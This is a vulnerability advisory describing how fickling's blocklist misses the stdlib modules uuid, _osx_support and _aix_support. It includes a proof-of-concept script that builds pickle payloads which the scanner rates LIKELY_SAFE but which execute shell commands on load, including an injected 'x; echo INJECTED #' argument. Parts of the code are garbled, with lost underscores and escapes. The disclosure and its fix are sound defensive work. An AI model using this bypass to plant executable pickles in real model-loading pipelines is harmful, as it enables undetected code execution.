PT-2026-25514 · Pypi · Fickling
Published
2026-03-04
·
Updated
2026-03-04
CVSS v4.0
8.9
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
Assessment
The modules
uuid, osx support and aix support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).Original report
Summary
fickling's
UNSAFE IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, osx support, and aix support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's
UNSAFE IMPORTS (86 modules) does not include:| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid | get command stdout(cmd, *args) | subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) | All platforms |
osx support | read output(cmdstring) | os.system(cmd) via temp file | All platforms |
osx support | find build tool(toolname) | Command injection via %s in read output("/usr/bin/xcrun -find %s" % toolname) | All platforms |
aix support | read cmd output(cmdstring) | os.system(cmd) via temp file | All platforms |
Critical note: Despite the names
osx support and aix support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.Why These Pass fickling
NonStandardImports: These are stdlib modules, sois std module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely safe imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
python
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check safety
import struct, pickle
frame data = b"x95" + struct.pack("<Q", 60)
# uuid. get command stdout — works on ALL platforms
uuid payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame data),
ShortBinUnicode("uuid"),
ShortBinUnicode(" get command stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF OF CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# aix support. read cmd output — works on ALL platforms
aix payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame data),
ShortBinUnicode(" aix support"),
ShortBinUnicode(" read cmd output"),
StackGlobal(),
ShortBinUnicode("echo PROOF OF CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# osx support. find build tool — command injection via %s
osx payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame data),
ShortBinUnicode(" osx support"),
ShortBinUnicode(" find build tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY SAFE
for name, p in [("uuid", uuid payload), ("aix", aix payload), ("osx", osx payload)]:
result = check safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid payload.dumps()) # prints PROOF OF CONCEPTVerified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY SAFE, issues=0
aix: severity=Severity.LIKELY SAFE, issues=0
osx: severity=Severity.LIKELY SAFE, issues=0
PROOF OF CONCEPTImpact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as
LIKELY SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.Suggested Fix
Add to
UNSAFE IMPORTS in fickling:python
"uuid",
" osx support",
" aix support",Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (get command stdout) - Python source:
Lib/ osx support.pylines 35-52 (read output), lines 54-68 (find build tool) - Python source:
Lib/ aix support.pylines 14-30 (read cmd output) - fickling source:
analysis.pyUNSAFE IMPORTSset
Fix
Incomplete List of Disallowed Inputs
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Fickling